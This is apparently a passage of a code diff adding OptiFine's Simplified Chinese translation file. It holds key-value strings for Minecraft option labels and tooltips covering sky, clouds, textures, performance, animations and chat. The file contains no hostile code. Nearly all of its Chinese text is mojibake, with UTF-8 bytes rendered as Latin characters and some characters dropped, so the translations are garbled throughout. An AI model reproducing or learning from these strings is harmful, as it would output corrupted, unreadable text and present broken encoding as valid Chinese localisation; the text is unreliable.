- 使用默认色彩(较快) +of.options.CUSTOM_COLORS.tooltip.4=自定义色彩一般由 +of.options.CUSTOM_COLORS.tooltip.5=当å‰çš„资æºåŒ…æ供。 + +of.options.SWAMP_COLORS=沼泽颜色 +of.options.SWAMP_COLORS.tooltip.1=沼泽颜色 +of.options.SWAMP_COLORS.tooltip.2= å¼€å¯ - (默认)使用沼泽颜色(较慢) +of.options.SWAMP_COLORS.tooltip.3= 关闭 - ä¸ä½¿ç”¨æ²¼æ³½é¢œè‰²ï¼ˆè¾ƒå¿«ï¼‰ +of.options.SWAMP_COLORS.tooltip.4=沼泽的颜色会影å“è‰ã€æ ‘å¶ã€è—¤è”“和水。 + +of.options.SMOOTH_BIOMES=平滑生物群系 +of.options.SMOOTH_BIOMES.tooltip.1=平滑生物群系 +of.options.SMOOTH_BIOMES.tooltip.2= å¼€å¯ - (默认)平滑生物群系的边界(较慢) +of.options.SMOOTH_BIOMES.tooltip.3= 关闭 - ä¸å¹³æ»‘生物群系的边界(较快) +of.options.SMOOTH_BIOMES.tooltip.4=å–样边界附近所有方å—颜色的平å‡å€¼ +of.options.SMOOTH_BIOMES.tooltip.5=以平滑生物群系的边界。 +of.options.SMOOTH_BIOMES.tooltip.6=è‰ã€æ ‘å¶ã€è—¤è”“和水会被å—到影å“。 + +of.options.CONNECTED_TEXTURES=è¿žæŽ¥çº¹ç† +of.options.CONNECTED_TEXTURES.tooltip.1=è¿žæŽ¥çº¹ç† +of.options.CONNECTED_TEXTURES.tooltip.2= 关闭 - 关闭连接纹ç†ï¼ˆé»˜è®¤ï¼‰ +of.options.CONNECTED_TEXTURES.tooltip.3= æµç•… - 快速处ç†çº¹ç†è¿žæŽ¥ +of.options.CONNECTED_TEXTURES.tooltip.4= 高å“è´¨ - 精细处ç†çº¹ç†è¿žæŽ¥ +of.options.CONNECTED_TEXTURES.tooltip.5=连接纹ç†ä¸ºçŽ»ç’ƒã€æ²™çŸ³å’Œä¹¦æž¶å¢žåŠ äº†è¿žæŽ¥æ质, +of.options.CONNECTED_TEXTURES.tooltip.6=当这些åŒç±»æ–¹å—放在一起时会将æ质连接为一体。 +of.options.CONNECTED_TEXTURES.tooltip.7=连接æ质一般由 +of.options.CONNECTED_TEXTURES.tooltip.8=当å‰çš„资æºåŒ…æ供。 + +of.options.NATURAL_TEXTURES=è‡ªç„¶çº¹ç† +of.options.NATURAL_TEXTURES.tooltip.1=è‡ªç„¶çº¹ç† +of.options.NATURAL_TEXTURES.tooltip.2= 关闭 - 关闭自然纹ç†ï¼ˆé»˜è®¤ï¼‰ +of.options.NATURAL_TEXTURES.tooltip.3= å¼€å¯ - å¯ç”¨è‡ªç„¶çº¹ç† +of.options.NATURAL_TEXTURES.tooltip.4=自然纹ç†ä¼šç§»é™¤ç”±åŒä¸€ç±»åž‹çš„æ–¹å—é‡å¤é“ºè®¾ +of.options.NATURAL_TEXTURES.tooltip.5=而造æˆçš„栅格状图案。此功能通过旋转和翻转 +of.options.NATURAL_TEXTURES.tooltip.6=æ–¹å—的基础æè´¨æ¥åˆ›å»ºæè´¨å˜ä½“。 +of.options.NATURAL_TEXTURES.tooltip.7=自然纹ç†çš„é…置一般由 +of.options.NATURAL_TEXTURES.tooltip.8=当å‰çš„资æºåŒ…æ供。 + +of.options.EMISSIVE_TEXTURES=自å‘å…‰çº¹ç† +of.options.EMISSIVE_TEXTURES.tooltip.1=自å‘å…‰çº¹ç† +of.options.EMISSIVE_TEXTURES.tooltip.2= 关闭 - 关闭自å‘光纹ç†ï¼ˆé»˜è®¤ï¼‰ +of.options.EMISSIVE_TEXTURES.tooltip.3= å¼€å¯ - å¯ç”¨è‡ªå‘å…‰çº¹ç† +of.options.EMISSIVE_TEXTURES.tooltip.4=自å‘光纹ç†ä¼šä½œä¸ºè¦†ç›–层 +of.options.EMISSIVE_TEXTURES.tooltip.5=以最大亮度渲染。å¯ç”¨äºŽ +of.options.EMISSIVE_TEXTURES.tooltip.6=模拟基础æ质的å‘光部分。 +of.options.EMISSIVE_TEXTURES.tooltip.7=自å‘光纹ç†ä¸€èˆ¬ç”± +of.options.EMISSIVE_TEXTURES.tooltip.8=当å‰çš„资æºåŒ…æ供。 + +of.options.CUSTOM_SKY=自定义天空 +of.options.CUSTOM_SKY.tooltip.1=自定义天空 +of.options.CUSTOM_SKY.tooltip.2= å¼€å¯ - (默认)自定义天空æ质(较慢) +of.options.CUSTOM_SKY.tooltip.3= 关闭 - 默认天空æ质(较快) +of.options.CUSTOM_SKY.tooltip.4=自定义天空的æ质一般由 +of.options.CUSTOM_SKY.tooltip.5=当å‰çš„资æºåŒ…æ供。 + +of.options.CUSTOM_ITEMS=è‡ªå®šä¹‰ç‰©å“ +of.options.CUSTOM_ITEMS.tooltip.1=è‡ªå®šä¹‰ç‰©å“ +of.options.CUSTOM_ITEMS.tooltip.2= å¼€å¯ - (默认)自定义物å“æ质(较慢) +of.options.CUSTOM_ITEMS.tooltip.3= 关闭 - 默认物å“æ质(较快) +of.options.CUSTOM_ITEMS.tooltip.4=自定义物å“çš„æ质一般由 +of.options.CUSTOM_ITEMS.tooltip.5=当å‰çš„资æºåŒ…æ供。 + +of.options.CUSTOM_ENTITY_MODELS=自定义实体模型 +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=自定义实体模型 +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= å¼€å¯ - (默认)自定义实体模型(较慢) +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= 关闭 - 默认实体模型(较快) +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=自定义实体模型一般由 +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=当å‰çš„资æºåŒ…æ供。 + +of.options.CUSTOM_GUIS=è‡ªå®šä¹‰ç•Œé¢ +of.options.CUSTOM_GUIS.tooltip.1=è‡ªå®šä¹‰ç•Œé¢ +of.options.CUSTOM_GUIS.tooltip.2= å¼€å¯ - (默认)自定义图形用户界é¢ï¼ˆè¾ƒæ…¢ï¼‰ +of.options.CUSTOM_GUIS.tooltip.3= 关闭 - 默认图形用户界é¢ï¼ˆè¾ƒå¿«ï¼‰ +of.options.CUSTOM_GUIS.tooltip.4=自定义图形用户界é¢ä¸€èˆ¬ç”±å½“å‰çš„资æºåŒ…æ供。 + +# Details + +of.options.CLOUDS=云 +of.options.CLOUDS.tooltip.1=云 +of.options.CLOUDS.tooltip.2= 默认 - 以“图形å“è´¨â€çš„设定为准 +of.options.CLOUDS.tooltip.3= æµç•… - 低å“质(较快) +of.options.CLOUDS.tooltip.4= 高å“è´¨ - 高å“质(较慢) +of.options.CLOUDS.tooltip.5= 关闭 - ç¦ç”¨äº‘(最快) +of.options.CLOUDS.tooltip.6=低å“质云使用 2D 渲染, +of.options.CLOUDS.tooltip.7=高å“质云使用 3D 渲染。 + +of.options.CLOUD_HEIGHT=云高度 +of.options.CLOUD_HEIGHT.tooltip.1=云高度 +of.options.CLOUD_HEIGHT.tooltip.2= 关闭 - 默认高度 +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - 超过世界的高度é™åˆ¶ + +of.options.TREES=æ ‘ +of.options.TREES.tooltip.1=æ ‘ +of.options.TREES.tooltip.2= 默认 - 以“图形å“è´¨â€çš„设定为准 +of.options.TREES.tooltip.3= æµç•… - 低å“质(最快) +of.options.TREES.tooltip.4= 智能 - 较高å“质(较快) +of.options.TREES.tooltip.5= 高å“è´¨ - 高å“质(较慢) +of.options.TREES.tooltip.6=低å“质的树å¶ä¸é€æ˜Žï¼Œ +of.options.TREES.tooltip.7=高å“质的树å¶é€æ˜Žã€é•‚空。 + +of.options.RAIN=雨雪 +of.options.RAIN.tooltip.1=雨雪 +of.options.RAIN.tooltip.2= 默认 - 以“图形å“è´¨â€çš„设定为准 +of.options.RAIN.tooltip.3= æµç•… - å°‘é‡çš„雨/雪(较快) +of.options.RAIN.tooltip.4= 高å“è´¨ - 大é‡çš„雨/雪(较慢) +of.options.RAIN.tooltip.5= 关闭 - ç¦ç”¨é›¨/雪(最快) +of.options.RAIN.tooltip.6=雨声 å’Œ 雨滴飞溅 +of.options.RAIN.tooltip.7=ä¸å—此选项影å“。 + +of.options.SKY=天空 +of.options.SKY.tooltip.1=天空 +of.options.SKY.tooltip.2= å¼€å¯ - 天空å¯è§ï¼ˆè¾ƒæ…¢ï¼‰ +of.options.SKY.tooltip.3= 关闭 - 天空ä¸å¯è§ï¼ˆè¾ƒå¿«ï¼‰ +of.options.SKY.tooltip.4=日月的å¯è§ä¸Žå¦æœ‰å•ç‹¬çš„选项。 + +of.options.STARS=星星 +of.options.STARS.tooltip.1=星星 +of.options.STARS.tooltip.2= å¼€å¯ - 星星å¯è§ï¼ˆè¾ƒæ…¢ï¼‰ +of.options.STARS.tooltip.3= 关闭 - 星星ä¸å¯è§ï¼ˆè¾ƒå¿«ï¼‰ + +of.options.SUN_MOON=日月 +of.options.SUN_MOON.tooltip.1=日月 +of.options.SUN_MOON.tooltip.2= å¼€å¯ - 太阳和月亮å¯è§ï¼ˆé»˜è®¤ï¼‰ +of.options.SUN_MOON.tooltip.3= 关闭 - 太阳和月亮ä¸å¯è§ï¼ˆè¾ƒå¿«ï¼‰ + +of.options.SHOW_CAPES=显示披风 +of.options.SHOW_CAPES.tooltip.1=显示披风 +of.options.SHOW_CAPES.tooltip.2= å¼€å¯ - 显示玩家披风(默认) +of.options.SHOW_CAPES.tooltip.3= 关闭 - ä¸æ˜¾ç¤ºçŽ©å®¶æŠ«é£Ž + +of.options.TRANSLUCENT_BLOCKS=åŠé€æ˜Žæ–¹å— +of.options.TRANSLUCENT_BLOCKS.tooltip.1=åŠé€æ˜Žæ–¹å— +of.options.TRANSLUCENT_BLOCKS.tooltip.2= 默认 - 以“图形å“è´¨â€çš„设定为准 +of.options.TRANSLUCENT_BLOCKS.tooltip.3= 高å“è´¨ - 准确的颜色混åˆï¼ˆé»˜è®¤ï¼‰ +of.options.TRANSLUCENT_BLOCKS.tooltip.4= æµç•… - 快速的颜色混åˆï¼ˆè¾ƒå¿«ï¼‰ +of.options.TRANSLUCENT_BLOCKS.tooltip.5=控制ä¸åŒé¢œè‰²çš„åŠé€æ˜Žæ–¹å— +of.options.TRANSLUCENT_BLOCKS.tooltip.6=(如染色玻璃ã€æ°´ã€å†°ï¼‰é—´ +of.options.TRANSLUCENT_BLOCKS.tooltip.7=有空气存在时,彼此颜色的混åˆã€‚ + +of.options.HELD_ITEM_TOOLTIPS=æŒæœ‰ç‰©ä¿¡æ¯æ˜¾ç¤º +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=æŒæœ‰ç‰©ä¿¡æ¯æ˜¾ç¤º +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= å¼€å¯ - 显示æŒæœ‰ç‰©ä¿¡æ¯ï¼ˆé»˜è®¤ï¼‰ +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= 关闭 - éšè—æŒæœ‰ç‰©ä¿¡æ¯ + +of.options.ADVANCED_TOOLTIPS=高级信æ¯æ示 +of.options.ADVANCED_TOOLTIPS.tooltip.1=高级信æ¯æ示 +of.options.ADVANCED_TOOLTIPS.tooltip.2= å¼€å¯ - 显示高级信æ¯æ示 +of.options.ADVANCED_TOOLTIPS.tooltip.3= 关闭 - éšè—高级信æ¯æ示(默认) +of.options.ADVANCED_TOOLTIPS.tooltip.4=物å“(IDã€è€ä¹…度)和光影设置 +of.options.ADVANCED_TOOLTIPS.tooltip.5=(IDã€æºã€é»˜è®¤å€¼ï¼‰çš„é¢å¤–ä¿¡æ¯ +of.options.ADVANCED_TOOLTIPS.tooltip.6=会在开å¯æ—¶æ˜¾ç¤ºã€‚ + +of.options.DROPPED_ITEMS=掉è½ç‰© +of.options.DROPPED_ITEMS.tooltip.1=掉è½ç‰© +of.options.DROPPED_ITEMS.tooltip.2= 默认 - 以“图形å“è´¨â€çš„设定为准 +of.options.DROPPED_ITEMS.tooltip.3= æµç•… - 2D 掉è½ç‰©ï¼ˆè¾ƒå¿«ï¼‰ +of.options.DROPPED_ITEMS.tooltip.4= 高å“è´¨ - 3D 掉è½ç‰©ï¼ˆè¾ƒæ…¢ï¼‰ + +options.entityShadows.tooltip.1=实体阴影 +options.entityShadows.tooltip.2= å¼€å¯ - 显示实体阴影 +options.entityShadows.tooltip.3= 关闭 - éšè—实体阴影 + +of.options.VIGNETTE=晕影 +of.options.VIGNETTE.tooltip.1=使å±å¹•å››è§’轻微å˜æš—的视觉效果 +of.options.VIGNETTE.tooltip.2= 默认 - 以“图形å“è´¨â€çš„设定为准(默认) +of.options.VIGNETTE.tooltip.3= æµç•… - 晕影关闭(较快) +of.options.VIGNETTE.tooltip.4= 高å“è´¨ - 晕影开å¯ï¼ˆè¾ƒæ…¢ï¼‰ +of.options.VIGNETTE.tooltip.5=晕影å¯èƒ½å¯¹FPS有显著的影å“, +of.options.VIGNETTE.tooltip.6=尤其是全å±æ¸¸æˆçš„时候。 +of.options.VIGNETTE.tooltip.7=晕影的效果éžå¸¸ç»†å¾®ï¼Œ +of.options.VIGNETTE.tooltip.8=并且å¯ä»¥è¢«å®‰å…¨åœ°ç¦ç”¨ã€‚ + +of.options.DYNAMIC_FOV=动æ€è§†åœº +of.options.DYNAMIC_FOV.tooltip.1=动æ€è§†åœº +of.options.DYNAMIC_FOV.tooltip.2= å¼€å¯ - å¯ç”¨åŠ¨æ€è§†åœºï¼ˆé»˜è®¤ï¼‰ +of.options.DYNAMIC_FOV.tooltip.3= 关闭 - ç¦ç”¨åŠ¨æ€è§†åœº +of.options.DYNAMIC_FOV.tooltip.4=当飞行ã€ç–¾è·‘或 +of.options.DYNAMIC_FOV.tooltip.5=拉弓时改å˜è§†åœºã€‚ + +of.options.DYNAMIC_LIGHTS=动æ€å…‰æº +of.options.DYNAMIC_LIGHTS.tooltip.1=动æ€å…‰æº +of.options.DYNAMIC_LIGHTS.tooltip.2= 关闭 - 无动æ€å…‰æºï¼ˆé»˜è®¤ï¼‰ +of.options.DYNAMIC_LIGHTS.tooltip.3= æµç•… - 较快的动æ€å…‰æºï¼ˆæ¯ 500ms 更新一次) +of.options.DYNAMIC_LIGHTS.tooltip.4= 高å“è´¨ - 高å“质的动æ€å…‰æºï¼ˆå®žæ—¶æ›´æ–°ï¼‰ +of.options.DYNAMIC_LIGHTS.tooltip.5=使得å‘光的物å“(ç«æŠŠã€è¤çŸ³ç­‰ï¼‰ +of.options.DYNAMIC_LIGHTS.tooltip.6=被玩家左å³æ‰‹æŒæ¡ã€è£…备或 +of.options.DYNAMIC_LIGHTS.tooltip.7=æˆä¸ºæŽ‰è½ç‰©æ—¶ç…§äº®å‘¨å›´ã€‚ + +options.biomeBlendRadius.tooltip.1=平滑生物群系之间的颜色过渡 +options.biomeBlendRadius.tooltip.2= å…³ - 无混色(最快) +options.biomeBlendRadius.tooltip.3= 5x5 - 正常混色(默认) +options.biomeBlendRadius.tooltip.4= 15x15 - 最大混色(最慢) +options.biomeBlendRadius.tooltip.5=较大的值å¯èƒ½ä¼šäº§ç”Ÿæ˜¾è‘—çš„çªå‘延迟 +options.biomeBlendRadius.tooltip.6=添加å‡æ…¢å—加载速度。 + +# Performance + +of.options.SMOOTH_FPS=平滑 FPS +of.options.SMOOTH_FPS.tooltip.1=通过清除显å¡ç¼“冲区æ¥ç¨³å®š FPS +of.options.SMOOTH_FPS.tooltip.2= 关闭 - ä¸ç¨³å®šï¼ŒFPS å¯èƒ½æ³¢åŠ¨ +of.options.SMOOTH_FPS.tooltip.3= å¼€å¯ - FPS 稳定 +of.options.SMOOTH_FPS.tooltip.4=此选项ä¾èµ–于显å¡é©±åŠ¨ï¼Œ +of.options.SMOOTH_FPS.tooltip.5=通常效果并ä¸æ˜Žæ˜¾ã€‚ + +of.options.SMOOTH_WORLD=平滑世界 +of.options.SMOOTH_WORLD.tooltip.1=消除内置æœåŠ¡å™¨é€ æˆçš„çªå‘延迟。 +of.options.SMOOTH_WORLD.tooltip.2= 关闭 - ä¸ç¨³å®šï¼ŒFPS å¯èƒ½æ³¢åŠ¨ +of.options.SMOOTH_WORLD.tooltip.3= å¼€å¯ - FPS 稳定 +of.options.SMOOTH_WORLD.tooltip.4=分担内置æœåŠ¡å™¨è´Ÿè½½æ¥ç¨³å®šFPS。 +of.options.SMOOTH_WORLD.tooltip.5=åªåœ¨æœ¬åœ°ä¸–界(å•äººæ¸¸æˆï¼‰æœ‰æ•ˆã€‚ + +of.options.FAST_RENDER=快速渲染 +of.options.FAST_RENDER.tooltip.1=快速渲染 +of.options.FAST_RENDER.tooltip.2= 关闭 - 标准渲染(默认) +of.options.FAST_RENDER.tooltip.3= å¼€å¯ - 优化渲染(较快) +of.options.FAST_RENDER.tooltip.4=采用优化渲染算法从而é™ä½Ž GPU çš„è´Ÿè½½ +of.options.FAST_RENDER.tooltip.5=并且å¯èƒ½å¤§å¹…æå‡ FPS。 +of.options.FAST_RENDER.tooltip.6=此选项或与æŸäº›æ¨¡ç»„冲çªã€‚ + +of.options.FAST_MATH=快速è¿ç®— +of.options.FAST_MATH.tooltip.1=快速è¿ç®— +of.options.FAST_MATH.tooltip.2= 关闭 - 标准的è¿ç®—(默认) +of.options.FAST_MATH.tooltip.3= å¼€å¯ - æ›´å¿«çš„è¿ç®— +of.options.FAST_MATH.tooltip.4=采用优化的 sin() å’Œ cos() 函数å¯ä»¥ +of.options.FAST_MATH.tooltip.5=更好地利用 CPU 缓存,并且æå‡ FPS。 +of.options.FAST_MATH.tooltip.6=此选项对世界生æˆæœ‰å¾®å°å½±å“。 + +of.options.CHUNK_UPDATES=区å—æ›´æ–° +of.options.CHUNK_UPDATES.tooltip.1=区å—æ›´æ–° +of.options.CHUNK_UPDATES.tooltip.2= 1 - 世界载入速度较慢,FPS 较高(默认) +of.options.CHUNK_UPDATES.tooltip.3= 3 - 世界载入速度较快,FPS 较低 +of.options.CHUNK_UPDATES.tooltip.4= 5 - 世界载入速度最快,FPS 最低 +of.options.CHUNK_UPDATES.tooltip.5=渲染æ¯å¸§æ—¶æ›´æ–°çš„区å—数, +of.options.CHUNK_UPDATES.tooltip.6=更高的值将会导致帧数ä¸ç¨³å®šã€‚ + +of.options.CHUNK_UPDATES_DYNAMIC=动æ€æ›´æ–° +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=动æ€åŒºå—æ›´æ–° +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= 关闭 - 标准的æ¯å¸§åŒºå—更新(默认) +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= å¼€å¯ - 当玩家站立ä¸åŠ¨æ—¶æ›´å¤šçš„区å—æ›´æ–° +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=当玩家站立ä¸åŠ¨æ—¶ï¼Œå¼ºè¿«æ›´å¤šçš„ +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=区å—更新,使得世界加载更快。 + +of.options.LAZY_CHUNK_LOADING=缓慢区å—加载 +of.options.LAZY_CHUNK_LOADING.tooltip.1=缓慢区å—加载 +of.options.LAZY_CHUNK_LOADING.tooltip.2= 关闭 - 默认的æœåŠ¡å™¨åŒºå—载入 +of.options.LAZY_CHUNK_LOADING.tooltip.3= å¼€å¯ - 缓慢的æœåŠ¡å™¨åŒºå—载入(更平滑) +of.options.LAZY_CHUNK_LOADING.tooltip.4=将区å—分布在多个“游æˆåˆ»â€è¿›è¡ŒåŠ è½½ +of.options.LAZY_CHUNK_LOADING.tooltip.5=从而平滑æœåŠ¡å™¨æ•´ä½“区å—加载。 +of.options.LAZY_CHUNK_LOADING.tooltip.6=如果部分世界ä¸èƒ½æ­£ç¡®åœ°è½½å…¥ï¼Œè¯·æŠŠå®ƒè®¾ç½®ä¸ºå…³ã€‚ +of.options.LAZY_CHUNK_LOADING.tooltip.7=仅适用于å•äººæ¸¸æˆçš„本地世界。 + +of.options.RENDER_REGIONS=区域渲染 +of.options.RENDER_REGIONS.tooltip.1=区域渲染 +of.options.RENDER_REGIONS.tooltip.2= 关闭 - ä¸ä½¿ç”¨åŒºåŸŸæ¸²æŸ“(默认) +of.options.RENDER_REGIONS.tooltip.3= å¼€å¯ - 使用区域渲染 +of.options.RENDER_REGIONS.tooltip.4=区域渲染å¯ä½¿è¿œå¤„的地形渲染得更快。 +of.options.RENDER_REGIONS.tooltip.5=当å¯ç”¨é¡¶ç‚¹ç¼“冲区对象时此选项将更有效。 +of.options.RENDER_REGIONS.tooltip.6=ä¸æŽ¨è集æˆæ˜¾å¡ä½¿ç”¨ã€‚ + +of.options.SMART_ANIMATIONS=智能动æ€æè´¨ +of.options.SMART_ANIMATIONS.tooltip.1=智能动æ€æè´¨ +of.options.SMART_ANIMATIONS.tooltip.2= 关闭 - ä¸ä½¿ç”¨æ™ºèƒ½åŠ¨æ€æ质(默认) +of.options.SMART_ANIMATIONS.tooltip.3= å¼€å¯ - 使用智能动æ€æè´¨ +of.options.SMART_ANIMATIONS.tooltip.4=当使用智能动æ€æ质时,游æˆä»…æ›´æ–° +of.options.SMART_ANIMATIONS.tooltip.5=当å‰å±å¹•å¯è§çš„动æ€æ质。 +of.options.SMART_ANIMATIONS.tooltip.6=此选项å¯å‡å°‘游æˆåˆ»çªå‘延迟并æå‡ FPS。 +of.options.SMART_ANIMATIONS.tooltip.7=对于大型模组包和高清资æºåŒ…格外有效。 + +# Animations + +of.options.animation.allOn=å…¨éƒ¨å¼€å¯ +of.options.animation.allOff=全部关闭 +of.options.animation.dynamic=åŠ¨æ€ + +of.options.ANIMATED_WATER=æ°´é¢åŠ¨ç”» +of.options.ANIMATED_LAVA=岩浆动画 +of.options.ANIMATED_FIRE=ç«ç„°åŠ¨ç”» +of.options.ANIMATED_PORTAL=ä¼ é€é—¨åŠ¨ç”» +of.options.ANIMATED_REDSTONE=红石动画 +of.options.ANIMATED_EXPLOSION=爆炸动画 +of.options.ANIMATED_FLAME=ç«ç„°åŠ¨ç”» +of.options.ANIMATED_SMOKE=烟雾动画 +of.options.VOID_PARTICLES=è™šç©ºç²’å­ +of.options.WATER_PARTICLES=æ°´é¢ç²’å­ +of.options.RAIN_SPLASH=雨滴飞溅 +of.options.PORTAL_PARTICLES=ä¼ é€é—¨ç²’å­ +of.options.POTION_PARTICLES=è¯æ°´ç²’å­ +of.options.DRIPPING_WATER_LAVA=æ°´æ»´/岩浆滴 +of.options.ANIMATED_TERRAIN=地形动画 +of.options.ANIMATED_TEXTURES=动æ€æè´¨ +of.options.FIREWORK_PARTICLES=çƒŸèŠ±ç²’å­ + +# Other + +of.options.LAGOMETER=å¿«é€Ÿè°ƒè¯•ä¿¡æ¯ +of.options.LAGOMETER.tooltip.1=在调试界é¢ï¼ˆF3)显示快速调试信æ¯ã€‚ +of.options.LAGOMETER.tooltip.2=* æ©™ - 内存垃圾回收 +of.options.LAGOMETER.tooltip.3=* é’ - 游æˆåˆ» +of.options.LAGOMETER.tooltip.4=* è“ - 预定å¯æ‰§è¡Œ +of.options.LAGOMETER.tooltip.5=* ç´« - 区å—加载 +of.options.LAGOMETER.tooltip.6=* 红 - 区å—æ›´æ–° +of.options.LAGOMETER.tooltip.7=* 黄 - 能è§åº¦æ£€æŸ¥ +of.options.LAGOMETER.tooltip.8=* 绿 - 渲染地形 + +of.options.PROFILER=调试分æžå™¨ +of.options.PROFILER.tooltip.1=调试分æžå™¨ +of.options.PROFILER.tooltip.2= å¼€å¯ - 调试分æžå™¨å¯ç”¨ï¼ˆè¾ƒæ…¢ï¼‰ +of.options.PROFILER.tooltip.3= 关闭 - 调试分æžå™¨ç¦ç”¨ï¼ˆè¾ƒå¿«ï¼‰ +of.options.PROFILER.tooltip.4=在调试界é¢å¼€å¯çŠ¶æ€ï¼ˆF3)时 +of.options.PROFILER.tooltip.5=调试分æžå™¨æ”¶é›†å¹¶ä¸”显示调试信æ¯ã€‚ + +of.options.WEATHER=天气 +of.options.WEATHER.tooltip.1=天气 +of.options.WEATHER.tooltip.2= å¼€å¯ - å¼€å¯å¤©æ°”(较慢) +of.options.WEATHER.tooltip.3= 关闭 - 关闭天气(较快) +of.options.WEATHER.tooltip.4=天气选项影å“雨,雪和雷电。 +of.options.WEATHER.tooltip.5=天气选项仅在本地游æˆä¸­ç”Ÿæ•ˆã€‚ + +of.options.time.dayOnly=åªæœ‰ç™½å¤© +of.options.time.nightOnly=åªæœ‰å¤œæ™š + +of.options.TIME=时间 +of.options.TIME.tooltip.1=时间 +of.options.TIME.tooltip.2= 默认 - 正常的日夜交替 +of.options.TIME.tooltip.3= åªæœ‰ç™½å¤© - åªæœ‰ç™½å¤© +of.options.TIME.tooltip.4= åªæœ‰å¤œæ™š - åªæœ‰å¤œæ™š +of.options.TIME.tooltip.5=时间设置åªåœ¨åˆ›é€ æ¨¡å¼ä¸‹ +of.options.TIME.tooltip.6=且为本地游æˆæ—¶æœ‰æ•ˆã€‚ + +options.fullscreen.tooltip.1=å…¨å± +options.fullscreen.tooltip.2= å¼€å¯ - 使用全å±æ¨¡å¼ +options.fullscreen.tooltip.3= 关闭 - 使用窗å£æ¨¡å¼ +options.fullscreen.tooltip.4=å…¨å±æ¨¡å¼å¯èƒ½æ¯”窗å£æ¨¡å¼ +options.fullscreen.tooltip.5=更快或更慢,这å–决于显å¡ã€‚ + +options.fullscreen.resolution=å…¨å±æ¨¡å¼ +options.fullscreen.resolution.tooltip.1=å…¨å±æ¨¡å¼ +options.fullscreen.resolution.tooltip.2= 默认 - 使用桌é¢åˆ†è¾¨çŽ‡ï¼ˆè¾ƒæ…¢ï¼‰ +options.fullscreen.resolution.tooltip.3= 自定义 - 使用自定义å±å¹•åˆ†è¾¨çŽ‡ï¼Œå¯èƒ½ä¼šè¾ƒå¿« +options.fullscreen.resolution.tooltip.4=此选项åªåœ¨å…¨å±æ¨¡å¼ä¸‹ç”Ÿæ•ˆï¼ˆF11)。 +options.fullscreen.resolution.tooltip.5=较低的分辨率通常会更快。 + +of.options.SHOW_FPS=显示 FPS +of.options.SHOW_FPS.tooltip.1=显示迷你的 FPS å’Œæ¸²æŸ“ä¿¡æ¯ +of.options.SHOW_FPS.tooltip.2= FPS - å¹³å‡/最低 +of.options.SHOW_FPS.tooltip.3= C:- 区å—渲染器 +of.options.SHOW_FPS.tooltip.4= E:- 一般实体 + æ–¹å—实体 +of.options.SHOW_FPS.tooltip.5= U:- 区å—æ›´æ–° +of.options.SHOW_FPS.tooltip.6=åªæœ‰è°ƒè¯•å±å¹•éšè—æ—¶ +of.options.SHOW_FPS.tooltip.7=è¿·ä½ FPSä¿¡æ¯æ‰ä¼šæ˜¾ç¤ºã€‚ + +of.options.save.45s=45 秒 +of.options.save.90s=90 秒 +of.options.save.3min=3 分钟 +of.options.save.6min=6 分钟 +of.options.save.12min=12 分钟 +of.options.save.24min=24 分钟 + +of.options.AUTOSAVE_TICKS=自动ä¿å­˜ +of.options.AUTOSAVE_TICKS.tooltip.1=自动ä¿å­˜é—´éš” +of.options.AUTOSAVE_TICKS.tooltip.2= 45 秒 - 默认 +of.options.AUTOSAVE_TICKS.tooltip.3=自动ä¿å­˜æˆ–许会导致çªå‘延迟,这å–决于渲染è·ç¦»ã€‚ +of.options.AUTOSAVE_TICKS.tooltip.4=当打开游æˆèœå•æ—¶ï¼Œä¸–界也会ä¿å­˜ã€‚ + +of.options.SCREENSHOT_SIZE=截图尺寸 +of.options.SCREENSHOT_SIZE.tooltip.1=截图尺寸 +of.options.SCREENSHOT_SIZE.tooltip.2= 默认 - 默认的截图尺寸 +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - 自定义截图尺寸 +of.options.SCREENSHOT_SIZE.tooltip.4=抓å–更大的截图å¯èƒ½éœ€è¦æ›´å¤šçš„内存。 +of.options.SCREENSHOT_SIZE.tooltip.5=与快速渲染和抗锯齿ä¸å…¼å®¹ã€‚ +of.options.SCREENSHOT_SIZE.tooltip.6=需è¦æ˜¾å¡å¸§ç¼“冲区支æŒã€‚ + +of.options.SHOW_GL_ERRORS=显示 GL 错误 +of.options.SHOW_GL_ERRORS.tooltip.1=显示 OpenGL 错误 +of.options.SHOW_GL_ERRORS.tooltip.2=当å¯ç”¨æ­¤é€‰é¡¹æ—¶ï¼ŒOpenGL 错误会在èŠå¤©æ¡†ä¸­æ˜¾ç¤ºå‡ºæ¥ã€‚ +of.options.SHOW_GL_ERRORS.tooltip.3=请仅当所有冲çªéƒ½å·²çŸ¥å¹¶ä¸” +of.options.SHOW_GL_ERRORS.tooltip.4=明确知é“错误无法修å¤æ—¶ç¦ç”¨æ­¤é€‰é¡¹ã€‚ +of.options.SHOW_GL_ERRORS.tooltip.5=å³ä½¿ç¦ç”¨äº†æ­¤é€‰é¡¹ï¼Œé”™è¯¯ä»ä¼šè¢«è®°å½•åœ¨é”™è¯¯æ—¥å¿—中, +of.options.SHOW_GL_ERRORS.tooltip.6=并且这些错误ä»å¯èƒ½ä¼šå¯¼è‡´æ˜Žæ˜¾çš„ FPS 下é™ã€‚ + +# Chat Settings + +of.options.CHAT_BACKGROUND=èŠå¤©èƒŒæ™¯ +of.options.CHAT_BACKGROUND.tooltip.1=èŠå¤©èƒŒæ™¯ +of.options.CHAT_BACKGROUND.tooltip.2= 默认 - 固定字宽 +of.options.CHAT_BACKGROUND.tooltip.3= 紧凑 - 调整以适应行宽 +of.options.CHAT_BACKGROUND.tooltip.4= 关闭 - éšè— + +of.options.CHAT_SHADOW=èŠå¤©é˜´å½± +of.options.CHAT_SHADOW.tooltip.1=èŠå¤©é˜´å½± +of.options.CHAT_SHADOW.tooltip.2= å¼€å¯ - 使用字体阴影 +of.options.CHAT_SHADOW.tooltip.3= 关闭 - 无字体阴影 diff --git a/src/assets/minecraft/optifine/lang/zh_tw.lang 